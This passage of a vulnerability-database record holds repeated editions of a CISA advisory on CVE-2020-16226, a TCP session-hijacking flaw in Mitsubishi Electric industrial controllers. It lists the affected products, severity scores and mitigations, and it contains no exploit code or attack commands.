prior\n * QnUDPVCPU(n=04/06/13/2), the first 5 digits of serial number 22031 and prior\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n * RnSFCPU (n=08/16/32/120), all versions\n * RnPCPU(n=08/16/32/120), all versions\n * RnPSFCPU(n=08/16/32/120), all versions\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n * FX5-ENET, all versions\n * FX5-ENET/IP, all versions\n * FX3U-ENET-ADP, all versions\n * FX3GE-**M*/**, all versions\n * FX3U-ENET, all versions\n * FX3U-ENET-L, all versions\n * FX3U-ENET-P502, all versions\n * FX5-CCLGN-MS, all versions\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * GT25-J71GN13-T2, all versions\n * FR-A800-E Series, all versions\n * FR-F800-E Series, all versions\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n\n### 3.2 VULNERABILITY OVERVIEW\n\n#### 3.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 3.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 3.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 4\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc. to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your personal computer that can access the product.\n * RnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later.\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later.\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later.\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later.\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later.\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later.\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later.\n\nPlease contact Mitsubishi Electric for more information.\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://www.us-cert.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.gov](<https://www.us-cert.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.gov](<https://www.us-cert.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://www.us-cert.gov/ics \nor incident reporting: https://www.us-cert.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\nWas this document helpful? Yes | Somewhat | No\n", "published": "2020-09-01T00:00:00", "modified": "2020-09-01T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://www.us-cert.gov//ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://cwe.mitre.org/data/definitions/342.html", "https://www.dhs.gov/plug-information", "https://www.dhs.gov/privacy-policy", "https://www.us-cert.gov/ics/recommended-practices", "https://www.whitehouse.gov/", "https://www.dhs.gov/plain-writing-dhs", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.oig.dhs.gov/", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "/forms/feedback?helpful=somewhat&document=ICSA-20-245-01: Mitsubishi Electric Multiple Products&trackingNumber=&url=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01&site_name=US-CERT", "https://www.dhs.gov/freedom-information-act-foia", "/forms/feedback?helpful=no&document=ICSA-20-245-01: Mitsubishi Electric Multiple Products&trackingNumber=&url=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01&site_name=US-CERT", "http://twitter.com/icscert", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://www.dhs.gov", "/forms/feedback?helpful=yes&document=ICSA-20-245-01: Mitsubishi Electric Multiple Products&trackingNumber=&url=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01&site_name=US-CERT", "https://www.usa.gov/", "https://www.dhs.gov/", "https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.us-cert.gov/ics", "https://www.us-cert.gov/ics"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2020-10-23T23:02:16", "history": [], "viewCount": 4, "enchantments": {"dependencies": {"modified": "2020-10-23T23:02:16", "references": [{"idList": ["ZDI-20-1207"], "type": "zdi"}, {"idList": ["ICSMA-19-190-01", "ICSA-11-110-01", "ICSA-14-202-01A", "ICSA-20-044-01", "ICSA-19-248-01", "ICSA-17-353-02", "ICSA-15-048-03", "ICSA-20-205-01", "ICSA-20-175-01", "ICSA-17-234-05", "ICSA-19-281-02", "ICSA-19-010-01", "ICSA-20-072-02", "ICSA-15-321-01", "ICSA-14-260-01A", "ICSA-12-325-01", "ICSA-13-095-02A", "ICSA-17-353-01", "ICSA-19-297-02", "ICSA-17-208-01", "ICSA-17-047-02", "ICSA-13-329-01", "ICSA-17-054-02", "ICSA-20-170-05", "ICSA-18-317-08", "ICSMA-18-144-01", "ICSA-18-296-01", "ICSA-18-051-01", "ICSA-20-044-02", "ICSA-11-332-01A", "ICSA-17-045-03", "ICSA-17-201-01", "ICSA-19-134-06", "ICSA-15-012-01C", "ICSA-15-099-01E", "ICSA-15-111-02", "ICSA-19-260-01", "ICSA-18-352-04", "ICSA-19-162-02", "ICSA-19-094-01", "ICSA-20-105-05", "ICSA-20-105-01", "ICSA-19-302-01", "ICSA-14-133-02", "ICSA-19-031-01", "ICSA-14-021-01", "ICSA-12-320-01", "ICSA-15-153-01", "ICSA-14-189-02", "ICSMA-18-277-01", "ICSA-17-285-04A", "ICSA-17-264-04", "ICSA-19-134-04", "ICSA-14-051-03B", "ICSA-14-014-01", "ICSA-18-254-02", "ICSA-17-136-01", "ICSMA-19-192-01", "ICSA-15-202-03B", "ICSA-15-020-02", "ICSA2012601", "ICSA-14-114-02", "ICSA-17-017-01", "ICSA-13-011-01", "ICSA2012602", "ICSMA-19-241-01", "ICSA-16-292-01", "ICSA-17-306-01", "ICSA-20-142-01", "ICSA-20-282-01", "ICSA-15-148-01", "ICSA-18-296-02", "ICSA-12-013-01", "ICSA-20-287-03", "ICSA-18-270-02", "ICSA-12-012-01A", "ICSA-16-021-01", "ICSA-19-078-01", "ICSA-15-153-02", "ICSA-15-237-01", "ICSA-14-086-01A", "ICSA-313-01", "ICSA-12-018-01B", "ICSA-15-006-01", "ICSA-20-063-01", "ICSA-16-264-01", "ICSA-16-306-03", "ICSA-19-094-03", "ICSA-17-208-04", "ICSA-11-119-01", "ICSA-14-107-02", "ICSA-19-344-02", "ICSA-19-346-01", "ICSA-14-010-01", "ICSA-14-353-01C", "ICSA-15-265-01", "ICSA-20-177-01", "ICSMA-16-279-01", "ICSA-18-352-01", "ICSA-18-095-02"], "type": "ics"}, {"idList": ["CVE-2020-16226"], "type": "cve"}], "rev": 2}, "score": {"modified": "2020-10-23T23:02:16", "rev": 2, "value": 6.5, "vector": "NONE"}}, "objectVersion": "1.4"}, "lastseen": "2020-10-23T23:02:16", "differentElements": ["description"], "edition": 2}, {"bulletin": {"id": "ICSA-20-245-01", "hash": "27e068ba35e12feda4d05d6e051fca4e1a061183b6e75024d2f55dda3432f1a8", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low skill level to exploit\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 3\\. TECHNICAL DETAILS\n\n### 3.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n * R12CCPU-V, all versions\n * RD55UP06-V, all versions\n * RD55UP12-V, all versions\n * RJ71GN11-T2, all versions\n * RJ71EN71, all versions\n * QJ71E71-100, all versions\n * LJ71E71-100, all versions\n * QJ71MT91, all versions\n * RD78Gn(n=4,8,16,32,64), all versions\n * RD78GHV, all versions\n * RD78GHW, all versions\n * NZ2GACP620-60, all versions\n * NZ2GACP620-300, all versions\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and prior\n * QnUDPVCPU(n=04/06/13/2), the first 5 digits of serial number 22031 and prior\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n * RnSFCPU (n=08/16/32/120), all versions\n * RnPCPU(n=08/16/32/120), all versions\n * RnPSFCPU(n=08/16/32/120), all versions\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n * FX5-ENET, all versions\n * FX5-ENET/IP, all versions\n * FX3U-ENET-ADP, all versions\n * FX3GE-**M*/**, all versions\n * FX3U-ENET, all versions\n * FX3U-ENET-L, all versions\n * FX3U-ENET-P502, all versions\n * FX5-CCLGN-MS, all versions\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * GT25-J71GN13-T2, all versions\n * FR-A800-E Series, all versions\n * FR-F800-E Series, all versions\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n\n### 3.2 VULNERABILITY OVERVIEW\n\n#### 3.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 3.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 3.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 4\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc. to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your personal computer that can access the product.\n * RnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later.\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later.\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later.\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later.\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later.\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later.\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later.\n\nPlease contact Mitsubishi Electric for more information.\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://www.us-cert.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.gov](<https://www.us-cert.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.gov](<https://www.us-cert.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\nWas this document helpful? Yes | Somewhat | No\n", "published": "2020-09-01T00:00:00", "modified": "2020-09-01T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://www.us-cert.gov//ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://cwe.mitre.org/data/definitions/342.html", "https://www.dhs.gov/plug-information", "https://www.dhs.gov/privacy-policy", "https://www.us-cert.gov/ics/recommended-practices", "https://www.whitehouse.gov/", "https://www.dhs.gov/plain-writing-dhs", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.oig.dhs.gov/", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "/forms/feedback?helpful=somewhat&document=ICSA-20-245-01: Mitsubishi Electric Multiple Products&trackingNumber=&url=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01&site_name=US-CERT", "https://www.dhs.gov/freedom-information-act-foia", "/forms/feedback?helpful=no&document=ICSA-20-245-01: Mitsubishi Electric Multiple Products&trackingNumber=&url=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01&site_name=US-CERT", "http://twitter.com/icscert", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.us-cert.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://www.dhs.gov", "/forms/feedback?helpful=yes&document=ICSA-20-245-01: Mitsubishi Electric Multiple Products&trackingNumber=&url=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01&site_name=US-CERT", "https://www.usa.gov/", "https://www.dhs.gov/", "https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.us-cert.gov/ics", "https://www.us-cert.gov/ics"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2020-10-28T01:18:35", "history": [], "viewCount": 4, "enchantments": {"dependencies": {"modified": "2020-10-28T01:18:35", "references": [{"idList": ["ICSA-18-317-05", "ICSA-19-031-02", "ICSA-17-040-01", "ICSA-19-255-05", "ICSA-16-336-02", "ICSA-15-328-01", "ICSA-17-150-01", "ICSA-17-089-02", "ICSA-17-332-01", "ICSA-16-154-01", "ICSA-18-095-01", "ICSMA-17-227-01", "ICSA-18-081-02", "ICSA-18-263-02", "ICSA-16-308-01", "ICSMA-18-179-01", "ICSMA-17-292-01", "ICSA-14-091-01", "ICSMA-18-107-02", "ICSA-19-253-04", "ICSA-18-290-01", "ICSA-20-154-06", "ICSA-17-152-02", "ICSA-20-282-02", "ICSA-15-041-01", "ICSA-12-006-01", "ICSA-18-046-03", "ICSA-20-191-01", "ICSA-17-234-01", "ICSA-20-042-13", "ICSMA-18-037-02", "ICSA-20-324-01", "ICSA-20-345-02", "ICSA-16-357-02", "ICSA-18-254-04", "ICSA-18-296-01", "ICSA-16-287-07", "ICSA-13-282-01A", "ICSA-20-072-01", "ICSA-15-022-01", "ICSA-18-107-05", "ICSA-14-261-01", "ICSA-17-129-02", "ICSA-19-157-02", "ICSA-20-266-02", "ICSA-20-315-02", "ICSA-13-022-02", "ICSA-17-208-03", "ICSA-18-338-01", "ICSA-15-239-01", "ICSA-12-349-01", "ICSA-18-298-02", "ICSA-19-064-01", "ICSA-15-335-03A", "ICSA-19-213-04", "ICSA-14-189-02", "ICSA-17-122-02", "ICSA-11-147-02", "ICSA-17-136-02", "ICSA-20-051-03", "ICSA-18-240-01", "ICSA-19-043-05", "ICSA2012601", "ICSA-14-198-01", "ICSA-20-289-01", "ICSA-16-287-03", "ICSA2012602", "ICSA-13-184-02", "ICSA-18-284-02", "ICSA-19-106-03", "ICSA-20-091-02", "ICSA-11-175-02", "ICSA-18-165-01", "ICSA-20-287-03", "ICSA-18-212-03", "ICSA-18-352-02", "ICSA-16-175-03", "ICSA-313-01", "ICSA-20-161-02", "ICSA-13-213-01", "ICSA-17-087-02", "ICSA-12-342-01B", "ICSA-11-119-01", "ICSA-14-107-02", "ICSA-20-254-01", "ICSMA-17-082-02", "ICSA-18-128-03", "ICSA-18-044-01", "ICSA-20-212-01", "ICSA-18-233-01", "ICSA-20-184-01", "ICSA-17-222-04", "ICSMA-19-113-01", "ICSA-11-084-01", "ICSA-14-289-01", "ICSA-16-215-02", "ICSA-17-187-01", "ICSA-18-130-01", "ICSA-17-320-01", "ICSA-20-212-02"], "type": "ics"}, {"idList": ["ZDI-20-1207"], "type": "zdi"}, {"idList": ["CVE-2020-16226"], "type": "cve"}], "rev": 2}, "score": {"modified": "2020-10-28T01:18:35", "rev": 2, "value": 6.5, "vector": "NONE"}}, "objectVersion": "1.4"}, "lastseen": "2020-10-28T01:18:35", "differentElements": ["description", "references"], "edition": 3}, {"bulletin": {"id": "ICSA-20-245-01", "hash": "40228ff21b95265d9ef9693993810111fc0c946dfd6618a728793e708f64e641", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low skill level to exploit\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 3\\. TECHNICAL DETAILS\n\n### 3.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n * R12CCPU-V, all versions\n * RD55UP06-V, all versions\n * RD55UP12-V, all versions\n * RJ71GN11-T2, all versions\n * RJ71EN71, all versions\n * QJ71E71-100, all versions\n * LJ71E71-100, all versions\n * QJ71MT91, all versions\n * RD78Gn(n=4,8,16,32,64), all versions\n * RD78GHV, all versions\n * RD78GHW, all versions\n * NZ2GACP620-60, all versions\n * NZ2GACP620-300, all versions\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and prior\n * QnUDPVCPU(n=04/06/13/2), the first 5 digits of serial number 22031 and prior\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n * RnSFCPU (n=08/16/32/120), all versions\n * RnPCPU(n=08/16/32/120), all versions\n * RnPSFCPU(n=08/16/32/120), all versions\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n * FX5-ENET, all versions\n * FX5-ENET/IP, all versions\n * FX3U-ENET-ADP, all versions\n * FX3GE-**M*/**, all versions\n * FX3U-ENET, all versions\n * FX3U-ENET-L, all versions\n * FX3U-ENET-P502, all versions\n * FX5-CCLGN-MS, all versions\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * GT25-J71GN13-T2, all versions\n * FR-A800-E Series, all versions\n * FR-F800-E Series, all versions\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n\n### 3.2 VULNERABILITY OVERVIEW\n\n#### 3.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 3.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 3.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 4\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc. to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your personal computer that can access the product.\n * RnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later.\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later.\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later.\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later.\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later.\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later.\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later.\n\nPlease contact Mitsubishi Electric for more information.\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://www.us-cert.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://www.us-cert.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.gov](<https://www.us-cert.gov/ics>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://www.us-cert.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.gov](<https://www.us-cert.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation 